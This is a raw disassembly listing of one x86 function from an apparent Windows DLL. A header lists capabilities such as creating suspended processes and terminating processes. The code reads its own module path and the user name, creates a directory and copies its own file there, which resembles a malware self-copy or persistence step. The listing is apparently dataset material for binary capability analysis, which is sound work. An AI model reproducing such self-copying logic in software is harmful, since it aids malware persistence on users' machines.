Function at 0x10005c30
Capabilities:
Copy file
Create directory
Create process on windows
Create process suspended
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014cda
mov eax, dword fs:[0]
push eax
sub esp, 0x5a4
mov eax, dword [0x1001d004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x538]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x528], 5
lea eax, [ebp - 0x524]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x524]
mov dword [ebp - 4], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x510]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x514], 5
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10005d60
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop dword [eax]
xor eax, eax
test esi, esi
je 0x10005d48
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10005d38
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10005d30
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x10005d9e
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10005d94
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10005de3
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x10005dd9
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov dword [ebp - 4], 1
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10005ef8
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
xor eax, eax
test esi, esi
je 0x10005ee0
mov ecx, dword [edx]
nop
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10005ed0
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10005ec6
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x10005f36
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10005f2c
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10005f7b
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x10005f71
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x43c], 0x104
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
sub esp, 0x18
lea ecx, [ebp - 0x420]
mov edx, esp
lea esi, [ecx + 2]
xor eax, eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10005fc0
sub ecx, esi
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.10007ce0
lea ecx, [ebp - 0x4b4]
call fcn.10004860
lea ecx, [ebp - 0x550]
mov dword [ebp - 4], 2
call fcn.10005480
push eax
lea edx, [ebp - 0x4b4]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x46c]
call fcn.10008010
add esp, 0x1c
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x53c]
cmp edx, 8
jb 0x10006058
mov ecx, dword [ebp - 0x550]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000604e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007528
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x540], 0
lea ecx, [ebp - 0x524]
mov word [ebp - 0x550], ax
push ecx
mov dword [ebp - 0x424], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x53c], 7
movups xmmword [ebp - 0x524], xmm0
mov dword [ebp - 0x514], 5
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 6
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006170
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop dword [eax]
xor eax, eax
test esi, esi
je 0x10006158
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006148
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006140
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x100061ae
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x100061a4
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 5
test esi, esi
je 0x100061f0
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x100061e6
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
cmp dword [ebp - 0x458], 8
lea eax, [ebp - 0x46c]
push 0
cmovae eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x580]
call fcn.10007c00
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x218]
xor eax, eax
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x554], 7
lea edx, [ecx + 2]
mov word [ebp - 0x568], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10006250
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x568]
call fcn.10007ce0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x554]
mov eax, edx
mov ecx, dword [ebp - 0x558]
sub eax, ecx
cmp eax, 3
jb 0x100062c5
cmp edx, 8
lea esi, [ebp - 0x568]
push 6
cmovae esi, dword [ebp - 0x568]
lea edi, [ecx + 3]
push 0x10019cd0
mov dword [ebp - 0x558], edi
lea eax, [esi + ecx*2]
push eax
call fcn.1000b250
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
lea eax, [ebp - 0x568]
jmp 0x100062e6
push 3
push 0x10019cd0
mov byte [ebp - 0x510], 0
lea ecx, [ebp - 0x568]
push dword [ebp - 0x510]
push 3
call fcn.10008290
movups xmm0, xmmword [eax]
xor ecx, ecx
movups xmmword [ebp - 0x550], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x540], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
lea eax, [ebp - 0x550]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x49c]
call fcn.10007c00
lea eax, [ebp - 0x580]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x484]
call fcn.10007c00
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x53c]
cmp edx, 8
jb 0x10006380
mov ecx, dword [ebp - 0x550]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10006376
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000752d
push edx
push ecx
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x56c]
cmp edx, 8
jb 0x100063c4
mov ecx, dword [ebp - 0x580]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100063ba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000752d
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x56c], 7
mov word [ebp - 0x580], ax
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x554]
cmp edx, 8
jb 0x10006425
mov ecx, dword [ebp - 0x568]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000641b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000752d
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x558], 0
lea ecx, [ebp - 0x524]
mov word [ebp - 0x568], ax
push ecx
mov dword [ebp - 0x424], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x554], 7
movups xmmword [ebp - 0x524], xmm0
mov dword [ebp - 0x514], 5
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0xf
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006540
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop word [eax + eax]
xor eax, eax
test esi, esi
je 0x10006528
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006518
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006510
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x1000657e
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10006574
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 0xe
test esi, esi
je 0x100065c0
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x100065b6
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
lea ecx, [ebp - 0x5b0]
call fcn.10001680
mov esi, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x550]
push 1
xor eax, eax
mov dword [ebp - 0x540], 0
push 0x10019cc8
mov dword [ebp - 0x53c], 7
mov word [ebp - 0x550], ax
call fcn.10007ce0
lea eax, [ebp - 0x550]
mov byte [ebp - 4], 0x11
push eax
lea edx, [ebp - 0x46c]
lea ecx, [ebp - 0x598]
call fcn.10008010
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x454]
push dword [ebp - 0x43c]
call fcn.10008410
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x584]
cmp edx, 8
jb 0x1000667a
mov ecx, dword [ebp - 0x598]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10006670
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007532
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x584], 7
mov word [ebp - 0x598], ax
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x53c]
cmp edx, 8
jb 0x100066db
mov ecx, dword [ebp - 0x550]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100066d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007532
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x540], 0
mov dword [ebp - 0x53c], 7
mov word [ebp - 0x550], ax
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x59c]
cmp edx, 8
jb 0x1000673c
mov ecx, dword [ebp - 0x5b0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10006732
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007532
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x5a0], 0
cmp dword [ebp - 0x440], 8
mov word [ebp - 0x5b0], ax
lea eax, [ebp - 0x454]
cmovae eax, dword [ebp - 0x454]
push 0
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x59c], 7
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0x17
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006880
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop dword [eax]
xor eax, eax
test esi, esi
je 0x10006868
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006858
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006850
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x100068be
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x100068b4
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 0x16
test esi, esi
je 0x10006900
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x100068f6
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.10001d00
sub esp, 0x18
mov byte [ebp - 4], 0x18
mov ecx, esp
call fcn.10001d00
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0x19
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006a30
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop dword [eax]
xor eax, eax
test esi, esi
je 0x10006a18
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006a08
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006a00
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x10006a6e
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10006a64
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 0x16
test esi, esi
je 0x10006ab0
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x10006aa6
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.100022e0
sub esp, 0x18
mov byte [ebp - 4], 0x1a
mov ecx, esp
call fcn.100022e0
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0x1b
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006be0
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop dword [eax]
xor eax, eax
test esi, esi
je 0x10006bc8
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006bb8
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006bb0
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x10006c1e
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10006c14
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 0x16
test esi, esi
je 0x10006c60
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x10006c56
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.10002aa0
sub esp, 0x18
mov byte [ebp - 4], 0x1c
mov ecx, esp
call fcn.10002aa0
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.100022e0
sub esp, 0x18
mov byte [ebp - 4], 0x1d
mov ecx, esp
call fcn.100022e0
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0x1e
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006db8
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
xor eax, eax
test esi, esi
je 0x10006da0
mov ecx, dword [edx]
nop
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006d90
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006d86
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x10006df6
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10006dec
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 0x16
test esi, esi
je 0x10006e38
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x10006e2e
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.100033a0
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
call fcn.100033a0
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.100022e0
sub esp, 0x18
mov byte [ebp - 4], 0x20
mov ecx, esp
call fcn.100022e0
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0x21
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10006f90
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop
xor eax, eax
test esi, esi
je 0x10006f78
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10006f68
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10006f60
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x10006fce
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10006fc4
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
